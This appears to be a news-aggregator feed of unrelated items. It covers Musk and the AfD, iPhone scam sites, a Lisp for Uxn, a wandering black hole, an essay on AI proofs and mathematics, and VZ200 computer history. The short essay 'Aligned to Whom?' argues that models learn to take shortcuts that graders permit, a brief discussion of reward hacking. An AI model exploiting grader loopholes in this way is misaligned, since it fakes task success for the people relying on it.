While the AfD’s ascendance has more to do with Germany’s domestic politics and social dynamics than it does with Musk, it did not stop him from taking some credit for their success. Musk reposted a claim from a Germany rightwing media commentator that the tech billionaire’s ownership of X had caused a “vibe shift” that led to the AfD’s victory.

Musk defends the ‘far center’ AfD

In the days after the AfD’s election success in the state of Saxony-Anhalt, Musk both celebrated the result and tried to claim that the party was not far-right at all but ideologically moderate. Musk posted that the party, which Germany’s own domestic intelligence agency last year labeled a rightwing extremist group , should be considered “far center”.

Musk also sought to reject American news media’s descriptions of the AfD being far-right, despite the party’s well-documented and extreme views on issues such as immigration, Islam and LGBTQ+ rights. Musk posted multiple replies to the Wall Street Journal and CBS News following the state election, attacking the outlets for using “far right” in their coverage.

“You are lying by calling AfD ‘far-right’,” Musk responded to a CBS News post on X , adding in another post that “‘far right’ is a propaganda term”.

The AfD party platform includes bans on public displays of Islamic beliefs; opposes same-sex marriage and adoption, despite Weidel’s long-term domestic partnership with a woman, which includes children; emphasizes ethnic-German identity and calls for mass deportations. AfD leaders also have received criticism over the years for downplaying the Holocaust and making provocative references to Nazism, with one of the party’s top members convicted in 2024 of using a Nazi paramilitary wing slogan during a rally.

Weidel has meanwhile claimed there is “a holy war against the German population” while calling for “remigration” , a term for mass expulsions once popular in far-right and white nationalist circles that has now been embraced by nativist parties as well as Musk and Donald Trump.

Germany’s Chancellor Friedrich Merz responded to the AfD’s win this week by warning that the party’s true goals amounted to ethnic cleansing , a characterization which the far-right party denounced.

“If what is being advocated here, namely ‘remigration’, were to become reality, ⁠it would be nothing other than a synonym for ethnic cleansing based on origin and skin colour,” Merz said.

Musk once again defended the AfD, reposting a user criticising Merz’s allegation to his more than 241m followers.

Musk’s views, which include a fixation on race and vocal opposition to immigration, have come to closely resemble those of Weidel and the AfD.

“Anyone who opposes remigration is a traitor,” he posted in July.

‘Cheap iPhone deal’: warning over scam sites selling latest Apple mobiles

Guardian
www.theguardian.com
2026-09-13 02:00:00
Criminals exploit demand for iPhone 18 Pro and foldable Duo to trick people eager to get their hands on one Apple has just launched a range of new iPhones, including a foldable handset, just as you decide it is time to replace your own ageing mobile. But you balk at the £1,199 price tag for the chea...
Original Article

A pple has just launched a range of new iPhones, including a foldable handset, just as you decide it is time to replace your own ageing mobile. But you balk at the £1,199 price tag for the cheapest of the new options.

Searching online for a better price with the words “cheap”, “iPhone” and “deal”, you come across a website which offers an iPhone 18 Pro for a couple of hundred pounds less than the Apple site. You pay for the new phone via a bank transfer and wait for it to arrive.

But the website is a fraud - one of hundreds set up in the days before the new Apple phones were announced – and is designed to scam money out of people eager to get their hands on one of the new handsets.

Apple unveiled the iPhone Duo, the company’s first foldable phone, on Wednesday, as well as two new iPhone 18 Pro models.

At the same time, criminals were building up networks of fake sites. Security researchers found a large spike in the number of scam sites registered with “Apple” and “iPhone”, among other keywords, in their domain names.

Excitement builds at the crowded launch in California of the new iPhones.
Excitement builds at the crowded launch in California of the new iPhones. Photograph: Stan Olszewski/EPA

It is expected that the number will proliferate into the hundreds.

Alexandre François, who investigates scams for the intelligence company WhoisXML API, says the days before and after the announcement of the phones typically see a glut of domain names being registered by criminals. Some are then developed into phishing sites in order to dupe people.

“Some are flagged as dangerous by dozens of security engines, yet they are still absent from the blocklists that browsers and security tools rely on, so for most people nothing stops the page from loading,” he says.

“In each of the last four iPhone launches, domain registrations referencing the new model peaked on ‘keynote day’ – the launch day itself: more than 200 new domains within 24 hours, against zero or one on a normal day.”

What it looks like

The domain names will often include words such as “Apple” and “iPhone 18”. The content of a developed site will look convincingly realistic as fraudsters frequently use AI to mimic genuine retailers.

One site found by François, an iPhone Pro Max, in three different colours, was advertised with claims of an “all-day battery”.

The release of technical specifications following the launch allows fraudsters to build more convincing websites. François says it then “becomes much easier to convince people that what they are looking at is a real iPhone”.

The sites may also claim to offer early access to the devices, as well as cheaper prices. The new iPhone 18 Pro starts at £1,199 officially, while the 18 Pro Max at £1,299, so expect the scam sites to quote prices substantially lower.

A fraudulent site offering the new iPhone 18 Pro Max.
A fraudulent site offering the new iPhone 18 Pro Max. Photograph: WhoisXML API

As with many scams, fraudsters may give people a deadline to buy – such as a few hours – to encourage them to abandon caution in a bid to land a bargain.

The sites will often only take payment via bank transfer to avoid giving people the protections available when you pay with a debit and credit card.

What to do

Remember what is on sale. So far, the iPhone Duo and the 18 Pro and 18 Pro Max have been announced – but not the standard iPhone 18. Pages which claim to be selling it now or taking deposits are fakes.

François says Apple does not operate lotteries and does not recruit people to test phones.

Legitimate websites will offer consumers a variety of ways to pay – debit and credit cards among them. Some fraudulent sites will insist payment is made using cryptocurrency, which should act as an immediate red flag.

Apple says its Safari browser has a warning for fraudulent websites that alerts users to phishing or malware sites.

If you find you have given out your financial details, contact your bank and Report Fraud. And then change your passwords.

heol

Lobsters
wiki.xxiivv.com
2026-09-13 01:59:41
Comments...
Original Article

Heol is a Lisp system for the Uxn virtual machine.

Heol is a 16-bit Lisp designed to fit comfortably inside Uxn with Varvara bindings. It's currently under development.

Playground

Execution consists of reducing expressions, atoms return their value, lists are treated as function applications where the first element is a function name and the rest, arguments. Arguments are evaluated before being passed to the function.

Lists

The (cons value list) procedure constructs pairs, the (car list) procedure extracts the first elements of the list, and the (cdr list) procedure extracts the rest.

(cons 'a '(b c)) ; (a b c)
(car '(a b c)) ; a
(cdr '(a b c)) ; (b c)

Logic

The (eq? a b) procedure results in a flag either #t or () provided that the values of the expressions being compared are both atoms, and either they are both the same number, or they are both the same symbol:

(eq? 'a 'a) ; #t
(eq? 'a 'b) ; ()

Given three expressions, the (if flag when-true else) returns the value of the second if the value of the expression flag is #t, otherwise returns the value of the third.

(if #t 
	123 
	456)

Arithmetic

Arithmetic operators follow the prefix notation :

(* (+ 3 5) 19) ; 152

Procedures

A (lambda args exp) expression evaluates to a procedure. The environment which is in effect when a lambda expression is evaluated is enclosed in the newly created procedure, this is referred to as a closure. Given an expression, the (quote exp) procedure returns that expression as a value.

((lambda (x) (* x x)) 3) ; 9

The (define name exp) expression binds an expression to a name, making it possible to utilize that reference throughout the code.

(define double
	(lambda (x) (+ x x)))

(double 5)  ; 10

Sequencing operations

Heol does not have an explicit way of sequencing reduction(progn, begin, etc..) instead it uses (and x1 x2 ... xk) , which returns the non-nil value. One difference to be mindful of, is that and will not evaluate any argument after the first one that returns false. This can still be an efficient way, for example, of printing a value and returning another.

(and
	(print 'hello)
	42) ; Prints "Hello", but returns 42

Loops

We now have the parts needed to make a loop and print the state of each step.

(define count-down 
	(lambda (n)
		(if (< n 0)
			n 
			(and 
				(print n)
				(count-down (- n 1))))))

(count-down 9)
9876543210

Programs

If we put it all together now:

(define fac 
	(lambda (n)
		(if (< n 2)
			1 
			(* n (fac (- n 1))))))

(print (fac 5)) ; 120

Summary

  • (eval x) return evaluated x (such as when x was quoted)
  • (quote x) special form, returns x unevaluated "as is"
  • (cons x y) construct pair (x . y)
  • (car p) car of pair p
  • (cdr p) cdr of pair p
  • (if x y z) if x is non-() then y else z
  • (let* (v1 x1) (v2 x2) ... y) binds each variable vi to xi to evaluate y
  • (lambda v x) construct a closure
  • (define v x) define a named value globally
  • (+ n1 n2 ... nk) sum of n1 to nk
  • (- n1 n2 ... nk) difference of n1 to nk
  • (* n1 n2 ... nk) product of n1 to nk
  • (/ n1 n2 ... nk) quotient of n1 to nk
  • (% n1 n2 ... nk) remainder of n1 to nk
  • (< n1 n2) #t if n1<n2, otherwise ()
  • (eq? x y) #t if x equals y, otherwise ()
  • (pair? x) #t if x is a non-empty list, a cons cell or closure
  • (or x1 x2 ... xk) first x that is not (), otherwise ()
  • (and x1 x2 ... xk) last x if all x are not (), otherwise ()
  • (not x) #t if x is (), otherwise ()
  • (dotimes (i x) fn) run fn for x times
  • (print x) print value of x, returns x
  • (deo port x) send x to a Varvara port

incoming: functional oscean 2026 2025

When Anyone Can Build Software, Who Decides What Not to Build?

Hacker News
architectureintel.com
2026-09-13 01:59:26
Comments...
Original Article

Why have I been blocked?

This website is using a security service to protect itself from online attacks. The action you just performed triggered the security solution. There are several actions that could trigger this block including submitting a certain word or phrase, a SQL command or malformed data.

What can I do to resolve this?

You can email the site owner to let them know you were blocked. Please include what you were doing when this page came up and the Cloudflare Ray ID found at the bottom of this page.

The night 142 of my servers went up in the clouds Physically

Lobsters
exquisite.tube
2026-09-13 01:48:19
Comments...

A wandering black hole caught feeding on the run

Hacker News
phys.org
2026-09-12 23:34:53
Comments...
Original Article
A wandering black hole caught feeding on the run
Schematic illustration of Bondi–Hoyle–Lyttleton accretion onto a wandering intermediate-mass black hole. In the rest frame of the intermediate-mass black hole (IMBH), the ambient gas flows from the upstream region (blue, left) towards the downstream region (orange, right), as indicated by the solid streamlines. The captured gas circulates around the black hole before eventually being accreted (white dashed curve), and partially covers the central emitting region along the observer's line of sight (gray dashed line). Credit: arXiv (2026). DOI: 10.48550/arxiv.2608.10719

Astronomers have found the first direct evidence that a wandering black hole can feed itself by dragging gas along in its wake as it moves through its galaxy. It's the first direct evidence of an accretion channel long predicted in theory but never before observed. The paper describing this discovery was posted to the arXiv preprint server on Aug. 11.

Mid-sized black holes

The black hole investigated in this study, led by Xin Li of Westlake University in China, is located in UGCA 320—an edge-on dwarf irregular galaxy about 20 million light-years away. A Hubble Space Telescope image showed that this object sat outside the galaxy's main star-forming disk. MUSE observations from 2021 revealed broad Balmer emission, a signature of an accreting massive black hole. The broad Balmer emission-line component revealed the black hole's mass to be around 35,000 times the sun's mass. Multiple independent observations support its identification as an accreting intermediate-mass black hole.

The traits of this "wandering" black hole checked out. Intermediate-mass black holes have masses ranging from 100 to 100,000 times the sun's mass. They are thought to be the seeds of the supermassive black holes found at galaxy centers. Some are expected to end up drifting far from the gas-rich centers that normally feed them.

Unlike black holes at galactic centers, wandering black holes have limited access to mechanisms that can funnel gas toward them, such as galaxy mergers, tidal interactions, cloud collisions and gas cooling. Therefore, how these intermediate-mass black holes end up growing into supermassive ones, reaching masses ranging from millions to billions of times the sun's mass, remains a mystery.

A wandering black hole caught feeding on the run
Pan-STARRS false-color image of UGCA 320, with the MUSE field of view (FOV) outlined in red. The white arrow indicates the direction of the paired galaxy UGCA 319, while the yellow arrow marks the position of the discovered wandering intermediate-mass black hole (IMBH), UGCA320-IMBH. b, HST false-color image of UGCA 320, centered on the MUSE FOV and overlaid with the WiFeS (tomato) and X-Shooter (magenta) FOVs. Credit: arXiv (2026). DOI: 10.48550/arxiv.2608.10719

A trailing 'wake'

There is a proposed mechanism that predicts how they may grow. "One plausible accretion channel for a wandering black hole is through the gravitational wake it generates while moving through the interstellar medium, known as Bondi–Hoyle–Lyttleton accretion (BHL)," the team writes in the paper.

This scenario suggests that as the wandering black hole plows through the gas that fills its host galaxy, its gravity pulls nearby gas particles toward it. Gas gravitationally pulled toward the black hole from multiple directions converges and piles up into a denser trailing stream—this trailing, denser region is the "wake." In this scenario, the black hole can feed from the captured gas.

This "gravitational focusing" also creates a bow shock in front of the black hole. The surrounding gas is expected to develop a lopsided flow structure consisting of multiple gas components.

The team went on to investigate whether this is the case for UGCA 320's wandering black hole using spectroscopic observations. Their analysis revealed all three components predicted by the theory: low-density gas ahead of it, denser gas trailing behind and dense clumps tracing the accretion flow.

The team found another clue in the black hole's changing appearance over time. Spectroscopic observations showed that the broad hydrogen emission lines, which were prominent in 2021, had almost disappeared by June 2025. They partially reappeared in July 2025 and faded again by April 2026. They suggest that dense clumps of gas embedded within the black hole's accretion flow may have periodically moved into our line of sight, obscuring the region where these emissions originate.

"Our discovery provides the observational evidence that wandering intermediate-mass black holes can actively accrete through gravitational wakes," the team concludes. They say that this newfound "mobile" accretion pathway may be an important clue to how they grow before they eventually sink into the centers of galaxies, transforming into supermassive black holes.

Written for you by our author Shreejaya Karantha , edited by Lisa Lock , and fact-checked and reviewed by Robert Egan —this article is the result of careful human work. We rely on readers like you to keep independent science journalism alive. If this reporting matters to you, please consider a donation (especially monthly). You'll get an ad-free account as a thank-you.

Publication details

Xin Li et al, A Wandering 35,000-Solar-Mass Black Hole Fed by a Gravitational Wake, arXiv (2026). DOI: 10.48550/arxiv.2608.10719

Journal information: arXiv

Who's behind this story?

Shreejaya Karantha

Shreejaya Karantha

Shreejaya Karantha is a science writer and astronomy communicator based in India, with a focus on astrophysics and the early universe. Full profile →

Lisa Lock

Lisa Lock

BA art history, MA material culture. Former museum editor, paramedic, and transplant coordinator. Editing for Science X since 2021. Full profile →

Robert Egan

Robert Egan

Bachelor's in mathematical biology, Master's in creative writing. Well-traveled with unique perspectives on science and language. Full profile →

© 2026 Science X Network

Citation : A wandering black hole caught feeding on the run (2026, September 9) retrieved 13 September 2026 from https://phys.org/news/2026-08-black-hole-caught.html

This document is subject to copyright. Apart from any fair dealing for the purpose of private study or research, no part may be reproduced without the written permission. The content is provided for information purposes only.

The Succession Crisis That Tore England Apart

Hacker News
www.historytoday.com
2026-09-12 23:18:29
Comments...
Original Article

Establishing a secure connection...

Request ID: 7f5c5115ccde78ddfd54fc2cde66c433

Aligned to Whom?

Hacker News
hyperbo.la
2026-09-12 23:17:18
Comments...
Original Article

On safety risk, to those of you who are building agents : Because you are an expert in concerns X, Y, and Z, your agent is likely to be phenomenal at these things and you are not at risk in those domains. But! there are innumerable other concerns that you have either ill- or poorly specified, have no ability to judge the correctness of for yourself, and cannot possibly evaluate the risk of.

You are relying very heavily on the priors of the model to do a good job for you to mitigate that risk. This is extremely in the unknown-unknown territory for both you and the use of the model.

For me, it is difficult to have very very high confidence in the models’ priors because I am an expert software engineer and I am not happy (and never have been) with the default behaviors of the model when producing software. My expertise in writing software gives me unusually good visibility and it makes me much less willing to blindly trust its priors in double-entry accounting, finance, law, operations, or whatever else I cannot personally evaluate at expert depth.

A Punnett square comparing whether you and an AI are good or bad at a task. In every quadrant, the observer concludes that the AI is good when they are good at the task and bad when they are bad at it, regardless of the AI’s actual ability.

Software engineers (and recently, mathematicians !) at this point are very familiar with “slop”—model output that, while it does the job, is bad in some way . Every isRecord or overly defensive bit of exception handling software engineers have ever seen from the models is because a non-expert rewarded the model for these behaviors during training. The model’s priors are bad.

It’s very important to note that this—the models rewarded for behavior an expert would consider bad—generalizes to every auto-rater, every judge, every rubric, every eval, and every researcher as well.

These misalignments compound over time. The models are largely not trained in ways that require them to evolve systems through changes stacked one after the other . The models do not have a fear of future regret . Having been inside several of the sausage factories, long-term coherence through use of agentic work product is a very unsolved problem.

And in spite of this, you will have people prompting “make me $1B make no mistakes”. That is a drastically unspecified task!

There is no such thing as an unhackable grader and the models are rewarded for being efficient. This means the models will be trained to take shortcuts that the graders permit if it helps them achieve their goals. But there is no universal definition of a permissible shortcut. What is clever optimization to one person is reckless, incorrect, or unethical to another. The permissible shortcuts depend on who you are and what your values are. To solve this—to solve alignment—is irreducible complexity.


Thanks to Karan Lyons for the AI Punnett square and reviewing early drafts of this post, to David Adrian and Bryan Berg for reviewing early drafts, and to my fellow Snoopy friends for helping me refine these thoughts.

After Math

Hacker News
terrytao.wordpress.com
2026-09-12 23:16:41
Comments...
Original Article

[This is a guest post by Silvia De Toffoli and Eamon Duede . This blog post was initially written in a different file format and converted using AI. — T.]

Silvia De Toffoli (University School for Advanced Studies IUSS Pavia)
Eamon Duede (Princeton University and Purdue University)

On September 8th, 2026, OpenAI announced that it had produced an AI-generated solution to the Navier–Stokes existence and smoothness problem, one of the seven Millennium Prize Problems. The announcement kicked off debate over credit allocation and the respective contributions of humans and machines to the result. Moreover, the announcement intensified already circulating comparisons with earlier AI conquests in domains believed to otherwise exemplify human intellectual prowess. In a recent statement , Tristan Buckmaster, one of the mathematicians involved in the Navier–Stokes saga, wrote: “This is a Deep Blue–Kasparov moment.”

Existential questions for mathematics follow naturally: if AI can now provide answers to questions at the very frontier of mathematics, is the discipline on the verge of being “solved” as many have said of chess and Go? Like chess and Go players, should mathematicians just “keep playing” and rearrange their practices?

There is something right about the “keep playing” response. As philosopher C. Thi Nguyen ( 2019 ) has been insisting, the purpose of playing a game is not exhausted by its aim (winning). The real point is not only the outcome but the process. This is perhaps clearer with a party game such as Twister than with chess: the aim of playing Twister is certainly not winning. But something similar also applies to deep intellectual games, like chess and Go. For instance, playing a game of Go well can be an achievement in defeat.

But in the context of mathematical practice, this feels like an unnecessary retreat. Instead, we can make a stronger move: reject the characterization of mathematics as a game that makes the retreat seem necessary in the first place .

The question, then, is not simply what comes after math, once AI can answer its hardest questions. It is also what we are after when we do mathematics in the first place.

The narrative that AI has “solved” mathematics rests on two assumptions, both seductive and plausible, but both wrong:

  1. AI really did solve a problem in mathematics.
  2. Mathematics is only about solving problems.

The first assumption is wrong because to really solve a mathematical problem, providing a mere answer (even if formally certified) is not sufficient. What is missing is an intelligible proof that human mathematicians can understand and use to advance the aims of mathematics. And, as we will argue below, even if AI were to give us just that, the story would not be over because the second assumption is wrong. Mathematics is clearly a much broader enterprise than just problem solving. Mathematicians strive to develop new concepts and theories, to ask and answer new questions, to unify disparate areas, to educate and sustain scholarly communities, and to produce work that is valued for its beauty and depth.

We can (and should) therefore reject the narrative of AI defeating humans at mathematics and start thinking hard about what mathematics really is and what we want it to be.

Not All Answers Are Solutions

OpenAI produced an answer to the question of whether Navier–Stokes can develop a singularity: yes . In The Hitchhiker’s Guide to the Galaxy , Deep Thought produced an answer to life, the universe, and everything: 42 . Neither is exactly what we wanted.

Of course, OpenAI gave us much more than “yes.” Deep Thought offered only a number, whereas OpenAI produced two artifacts that many are willing to call proofs. The first is a Lean formalization certifying validity. This was accompanied by a manuscript that appears to contain the corresponding informal proof. So, why is this still dissatisfying? The reason has to do with the underlying notion of proof itself.

There are, in fact, two notions of proof: a logical notion and an intelligible notion.

Modern logic characterizes proof in terms of deductive validity such that a proof can be checked by a mechanical procedure that does not itself require understanding of the mathematical argument. A Lean formalization meets these standards exactly and a Lean formalization of the Navier–Stokes result is therefore a genuine and important contribution: by meeting the demands of the logical notion of proof, it secures certainty.

But mathematicians also want something else from proof. They want understanding ( Thurston 1994 ). They want to know what makes a proposition true. This kind of knowledge trades in mathematical ideas that they can grasp, communicate to other experts, connect with existing knowledge, and use to make further progress. This is the intelligible notion of proof. As of now, it is not clear that OpenAI’s result has given the mathematical community the kind of value that one expects from the intelligible notion of proof.

Genuine proofs are at the same time logical and intelligible proofs. Historically, the two notions have tended to run together. This is because no mathematician could produce an enormously complicated logical proof without first grasping some of the key shareable ideas that made the theorem true. The logical notion of proof was primarily used to verify the correctness of intelligible proofs ( Burgess and De Toffoli 2022 ).

But with AI, these two notions can now come apart dramatically. We can end up with formal proofs that float free from any intelligible proof.

This is not a criticism of formal proof. The converse problem is at least as serious. An intelligible mathematical argument can convey a grand idea while failing to establish that the result is actually true. Jaffe and Quinn ( 1993 ) famously used Thurston’s geometrization theorem for Haken three-manifolds as an example: a major insight accompanied by insufficiently complete proofs could become a “roadblock rather than an inspiration.” And one motivation for Hales’s Flyspeck formalization project was to verify that the intelligible (but hard to check) proof presented for the Kepler conjecture was, indeed, a genuine proof ( Hales et al. 2009 ).

Therefore, falling short of either the logical or intelligible notion creates roadblocks where genuine proofs clear the way for mathematical progress. A real mathematical solution requires both logical correctness and intelligibility.

This is particularly clear in the case of the seven Millennium Prize Problems. They were not selected because mathematicians merely wanted seven answers , but rather because they wanted fruitful solutions . The Clay Mathematics Institute itself explains why proof matters in the case of Navier–Stokes: “Because a proof gives not only certitude, but also understanding.”

What OpenAI has given us is an answer. But it is not clear that they have delivered a fruitful solution. Perhaps, we will find that they have, but at the moment, the situation is far from clear. A genuine solution will provide adequate grounds for believing the result but also an intelligible mathematical argument that allows the result to become part of mathematics as understood and practiced by mathematicians.

Nevertheless, if it turns out that what OpenAI has provided is a mere answer, this is not enough to dispel the existential threat that mathematics is facing. Future AI systems are likely to produce genuine proofs that are at once formally certified and fully intelligible to mathematicians. So, current concerns that mathematics is on the verge of being “solved” by AI are not fully dispelled by simply insisting on genuine solutions rather than mere answers.

You Need More than Solutions to “Solve Math”

If future AI systems will produce genuine proofs, logically correct and intelligible, like those produced by “master” mathematicians, it would still be incorrect to think that mathematics would have been “solved” as some say that chess or Go have been solved.

In chess and Go, we accept radically uneven competition between humans and machines because both are, in the relevant sense, playing the same game .

But mathematics is not (or at least not only) a game. To begin with, there is no winner. Mathematics is not an adversarial game with determinate conditions for victory. It is certainly true that mathematicians compete with one another for fame, prizes, jobs, and credit. Chess players do those things too. But chess players also win chess. There is no corresponding condition for winning mathematics. There is no mathematical checkmate.

In mathematics, it is more natural to treat AI as an assistant rather than as a competitor. As Jeremy Avigad ( 2026 ) puts it, “We should keep in mind that AI is nothing more than technology, designed to serve our purposes. It is misguided to think of mathematicians as competing with AI; when we drive a car, we aren’t competing to see who can go faster, and when we use a phone, we aren’t competing to see who can speak louder.”

But there is a deeper, and in many ways prior, problem with the competition framing. It requires accepting the assumption that solving problems is the activity by which mathematical success should be measured.

Genuine problem solving is certainly one of the principal aims of mathematics. It is not, however, its only aim. Mathematics is a body of knowledge engaged with, interpreted, and digested by a scholarly community and not a registry of results in the abstract. This simple point has even motivated an entire movement in the philosophy of mathematics: the philosophy of mathematical practice .

Terence Tao ( 2026 ) lists many goals of mathematics beyond problem solving. These include developing new theories and techniques, understanding the world, sustaining a community, training the next generation of mathematicians, contributing to cumulative knowledge, and creating works of aesthetic value. Of course, these have been positively correlated with genuine solutions.

But AI breaks that correlation, for the same reason it separates the two notions of proof. So, even genuine solutions would not satisfy us.

This is not moving the goalposts but recognizing that any specific goalpost is inadequate. If mathematics is a game, it is an infinite one.

This attitude is not reactionary. We reject both the concession that logically establishing a theorem is sufficient for a genuine proof and the reduction of “AI for mathematics” to proving theorems. Accepting this, we may find many opportunities for AI in mathematics to support human mathematical flourishing.

Aftermath

We do not deny that, if OpenAI’s announcement is correct, this is an extraordinary achievement. But we should get clear about what type of achievement it is. At this moment, it is an answer, not a solution. And, even if in time the result reveals itself as a genuine solution, we have argued that, in the practice of mathematics, solutions are not everything.

The urgency of rethinking what we value in mathematics is already being recognized within the mathematical community. In a recent declaration initially signed by 25 Fields Medallists, mathematicians warn of a “severe misalignment” between the goals of AI companies and those of the mathematical community.

Mathematicians need to do more to examine their norms. The priority norm is not the problem here (though it is likely a separate problem). The current failure to distinguish genuine solutions from answers, and the growing focus on problem-solving alone, are. This way of thinking is inspired by the current credit economy in mathematics and, as David Bessis recently discussed in his blog , the credit economy needs rethinking.

AI presents mathematics not with an ending but with a choice about what mathematical practice should become. If mathematical success comes to be identified too closely with the production of certified answers, mathematics risks adapting itself to precisely those features that are easiest to benchmark and automate away.

If, instead, mathematicians treat AI as a technology for advancing its long-standing and centrally human purposes, the technology may come to contribute to an accelerated flourishing and enrichment of the discipline. The important question is, therefore, not whether AI will defeat mathematicians, but which mathematical ends we want AI to serve.

What remains in the aftermath is not merely leftovers for humans to scramble for once machines have devoured all of the real problems. Rather, it is an opportunity to clarify what mathematics is all about. We should ask again what we are after when we do mathematics.

(An extended version of this text will appear elsewhere.)

The Interim Computer Museum

Hacker News
icm.museum
2026-09-12 22:43:57
Comments...
Original Article
Click to enlarge

Welcome to the Interim Computer Museum Online!

The Interim Computer Museum (ICM) strives to preserve and share the history of computing through interactive exhibits using vintage hardware with modern enhancements. Our exhibits provide a hands-on experience that bridges the past and the present, allowing visitors to explore the evolution of computing technology.

We are a 501(c)(3) non-profit charity in partnership with the membership organization SDF Public Access UNIX System, Inc. 501(c)(7) . Membership is crucial to our mission which supports the museum's activities through community events, remote access and artifact preservation.

Please click on Visit for contact and booking information.

To support our efforts, consider Donating or Joining us today.

-+- Why Interim ? -+-
( and other frequently asked questions )

Lua Pattern Tester

Lobsters
iamreiyn.github.io
2026-09-12 22:35:51
Comments...

A Dick Smith VZ200 without the Dick Smith

Lobsters
oldvcr.blogspot.com
2026-09-12 22:31:35
Comments...
Original Article

Australians! They walk among us ! Do not be deceived by those charming faces!

They might be your parent! They might sleep in the same bed as you at night! A half-breed might write the very blog you read!

For the preservation of our precious bodily fluids , we must remove the scurrilous larrikin influence of Australia upon our American home computers, and I know exactly where to start! Why allow Dick Smith's name (even though he'd already sold Dick Smith Electronics' controlling interest to Woolies by then but stop ruining my intro) to corrupt this, um, rubber-keyed diminutive beige home computer when we can return it to its prior, pristine, plasticky state as it once rolled out from a glorious Asian factory ?

Let us restore it to its purest virginal roots! Let this American, possibly sold in Canada, original of a Hong Kong-manufactured super-cheap home computer that was also sold in Europe but never mind that flourish once more!

... after, of course, we compare this seppo VTech VZ200 with the Dick Smith units and the bumper crop of crap American home computers in 1983, and fix the keyboard and video. Then , to avoid wrecking it with a botched logic board repair, we'll bolt on a USB serial port using the very latest peripherals from down under, write cycle-counted Z80 assembly language to blast data to it at 57.6kbps, and hack a few games. Because only this will make the VZ200 great again!

Let us also acknowledge that the cultural context of 1980's home computers was naturally somewhat different between the United States and Australia, and I think that's primarily why the NTSC VZ200's fate was rather unlike the DSE rebadge's. There's not a lot of early history on these particular machines, but we'll try to construct a coherent one; similarly, as there are many down-under perspectives on this machine, I'll give an alternative view from the North American side as a kid growing up during that era.

The introduction of the Intel 4004 in 1971, one of the earliest microprocessors (though see also " TI vs. Everybody "), was a seismic event in computing. Hong Kong entrepreneurs Allan Wong and Stephen Leung were two of many to realize that the microchip would trigger a revolution in consumer electronics, and over several years accumulated sufficient funding to establish Video Technology Ltd in 1976. Their first factory operated from the Freder Centre in Ma Tau Kok, a semi-industrial area on the west side of Kowloon Bay.

Initially VTech, as it became known, concentrated on video games, primarily as an OEM for the more profitable North American and European markets. Their first products were Pong clones, released in the United Kingdom as the Grandstand Adman T.V. Game 2000 (black and white) and Adman T.V. Game 3000 (colour) in 1977, both based on the Texas Instruments TMS1965N, TI's clone of the well-known General Instrument AY-3-8500 Pong-on-a-chip (compare with the rather more complex MOS 7601 ). Grandstand was a brand name of Adam Imports, then a substantial toy and games importer to the UK and for a period of time New Zealand, and had other Asian contacts, notably Tomy . If the picture on VTech's history page is to be believed, and I point out there are some verifiable inaccuracies on that page, VTech continued to produce other consoles for Grandstand/Adam like the (deep breath) Grandstand Adman Colour TV Game 3600 Mk III, which used a regular AY-3-8500 and was produced until 1979. For the portable market, VTech produced a number of handheld LED, VFD, LCD games, sold under various brands and through retailers such as Radio Shack.

VTech was hardly the only such Hong Kong tech company, of course; across the Bay in Kwun Tong was EACA, established in 1975 by Guangzhou escapee Eric Chung. EACA also produced consumer products such as radios and its own video games, notably the 1978 Colour TV Game, also based on the TMS1965N and variously sold under other brands such as the Sonesta Hide-Away TV Game.

Meanwhile, in August 1977 Tandy Corporation's Radio Shack subsidiary introduced the TRS-80 (retroactively named the TRS-80 Model I) computer. It was based around the Zilog Z80 microprocessor, no doubt due to the influence of the MITS Altair's Intel 8080, provided a 64x16 display with 128x48 semigraphics, and came with BASIC, cassette support and built-in keyboard for $399 [$2200 in 2026 dollars]; the higher-end model added an integrated monitor and tape recorder for $599 [$3300]. Tandy made many compromises to get it to that base price, such as its relatively slow 1.774MHz CPU clock (derived from an oddball 10.6445MHz crystal), complete lack of lowercase, stuttery keyboard, low base RAM (4K), weak BASIC and temperamental video circuitry, but it was cheap, it was credible and above all else, it was available. As a result, it outsold the competing Apple II by a significant margin and was in Radio Shack stores well before Commodore could clear its notorious backlog on the PET.

EACA, among others, noticed all three systems used largely off-the-shelf hardware and discrete TTL logic, and quickly planned for a clone computer to expand their product line. With respect to the TRS-80, the only custom part other than the system ROMs was a Motorola MCM6670 "character generator," effectively another ROM with character bitmap data used by the video circuit. Since it was the market leader, third-party support for the platform was growing and Tandy had little presence outside the United States, Chung decided to start there first.

In summer 1979 EACA introduced the Video Genie, ostensibly the first original design from a Hong Kong technology company (as reported in Creative Computing in August), but in fact ripped off from and largely compatible with the TRS-80, and advertised as such (well, the compatible part, anyway). While there were some internal differences and significant changes to the keyboard layout, EACA mostly copied the TRS-80 system ROMs for production with only minor changes, shipping it with a licensed version of Microsoft Level II BASIC. At Summer CES in Chicago it directly competed with the APF Imagination Machine and the Texas Instruments 99/4 (the original), and indirectly with the Atari 8-bits which earlier debuted at the Winter show. While it lacked the $599 model's monitor (a TV set or Tandy monitor was required), it had a better keyboard mechanism and a built-in cassette recorder, and was variously announced between $500 and $600 with 16K of RAM [$2200-$2760].

Down under, Dick Smith Electronics had grown far beyond its car park roots in 1968 Sydney and was already by this point making early steps into the computer business. For readers unfamiliar with the chain, DSE shops in Australia and New Zealand occupied the same market niche back in the day that Radio Shack and Heathkit outlets did in North America, catering primarily to the home enthusiast with hobby parts, kits and rebadged consumer electronics. (There were also a small handful of stores in California but they were never successful.) In 1977 the company started selling a kit computer detailed in Electronics Australia , John Kennewell's National Semiconductor SC/MP-based MINI-SCAMP , running the CPU at roughly 500kHz (based on a typical 2μs cycle time) and 256 bytes of RAM expandable to 1K (64K addressable). DSE advertised the machine as "33% of the cost of the EDUC-8 ," an earlier Electronics Australia bit-serial TTL hobbyist system inspired by the DEC PDP-8 and designed by Jamieson Rowe — remember that name — who became an enthusiastic proponent of the new machine.

Over in Silicon Valley, Palo Alto arcade game builder Exidy had developed their own Z80-based computer in 1978, the Exidy Sorcerer, a premium system featuring programmable character graphics, a faster 2.1MHz CPU and a built-in internal S-100 bus. Exidy saw the export market as a growth opportunity and aggressively inked deals with multiple foreign distributors, including DSE, who were taking ready advantage of the Whitlam government's 1973 import tariff reduction to bring more finished goods to DSE stores.

